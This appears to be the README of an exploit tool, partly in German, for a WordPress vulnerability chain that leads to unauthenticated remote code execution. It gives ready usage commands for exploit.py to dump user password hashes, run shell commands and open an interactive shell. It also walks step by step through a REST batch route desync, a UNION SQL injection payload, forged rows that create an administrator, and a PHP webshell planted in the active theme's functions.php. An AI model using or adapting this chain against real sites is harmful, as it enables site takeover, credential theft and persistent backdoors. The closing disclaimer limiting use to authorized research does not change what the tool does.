
CVE-2026-63030 / wp2shell
WordPress-RCE-Exploit-Kette. Nicht authentifiziert. CVSS 9.8.
| Branch | Anfällig | Gepatcht |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
Zwei CVEs, verkettet zu unauthentifizierter Remote-Code-Ausführung:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
| Schritt | CVE | Vektor |
|---|---|---|
| 1 | CVE-2026-63030 | REST /batch/v1 Index-Fehlausrichtung bringt Validierung und Dispatch aus dem Takt |
| 2 | CVE-2026-60137 | author__not_in WP_Query-Parameter überspringt absint(), wenn er als String übergeben wird |
| 3 | — | UNION SELECT fälscht wp_posts-Zeilen; oEmbed → Customizer → wp_insert_user |
| 4 | — | Authentifizierung als der neu erstellte Administrator |
| 5 | — | Theme-Editor schleust eine token-geschützte Webshell in das aktive Theme ein |
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
Der Batch-Endpunkt von WordPress unter /?rest_route=/batch/v1 akzeptiert ein Array von Unteranfragen. Wenn eine Unteranfrage einen nicht parsebaren Pfad (///) hat, wird ein WP_Error zu $validation hinzugefügt, aber nicht zu $matches. Die Dispatch-Schleife paart dann Anfrage N mit Handler N+1 — sodass eine Anfrage, die gegen ein Schema validiert wurde, an einen anderen Handler dispatched wird.
Der Exploit sendet einen dreifach verschachtelten Batch, bei dem jede Ebene einen Desync-Primer an Position 0 verwendet, um die Indizes zu verschieben. Die innerste Anfrage — validiert als Einzelbeitrag-Element (GET /wp/v2/posts/999999) — landet auf dem Collection-Handler (posts->get_items()). Da das Element-Schema author_exclude nicht definiert, wird der Parameter unvalidiert durchgereicht.
get_items() bildet author_exclude → author__not_in ab und übergibt es an WP_Query. Wenn author__not_in ein String ist (kein Array), wird der array_map('absint', …)-Block übersprungen. Der rohe String landet direkt in:
WHERE post_author NOT IN (<payload>)
Die Payload 0) UNION ALL SELECT …-- - schließt die NOT IN-Liste und hängt beliebiges SQL an.
WordPress 7.0.x wp_posts hat genau 23 Spalten. Durch das Injizieren einer gefälschten Zeile via UNION ALL SELECT mit orderby=none (unterdrückt das abschließende ORDER BY) und per_page=500 (hält WP_Query im Vollzeilen-Modus) wird der gefälschte Beitragstitel – der einen ||HEX||-Marker trägt – in der REST-Antwort reflektiert. Alle String-Werte verwenden MySQL-Hex-Literale (0x…), um Probleme mit der Quote-Escaping durch URL-Encoding zu vermeiden.
[embed]-Shortcodes enthält → WordPress erstellt 3 oembed_cache-Zeilenwp_posts-Zeilen, die eine Customizer-Changeset-Kette bilden[embed]-Shortcode wird gerendert und löst WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user() auswp2_<random>) und Passwort (Wp2!<random>) erstelltMelde dich als der neue Admin an → extrahiere die Theme-Editor-Nonce → injiziere eine token-geschützte PHP-Webshell am Anfang der functions.php des aktiven Themes → greife über ?t=<token>&c=<command> darauf zu.
wp_remote_post()-Loopback-Prüfung durch. Wenn der Container sich selbst nicht über den Hostnamen erreichen kann, wird die Theme-Bearbeitung blockiert. Verwende in diesen Fällen --dump-users + manuellen Login.--check.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
Dieses Tool dient ausschließlich autorisierter Sicherheitsforschung und Bildungszwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben. Die Autoren übernehmen keine Haftung für Missbrauch.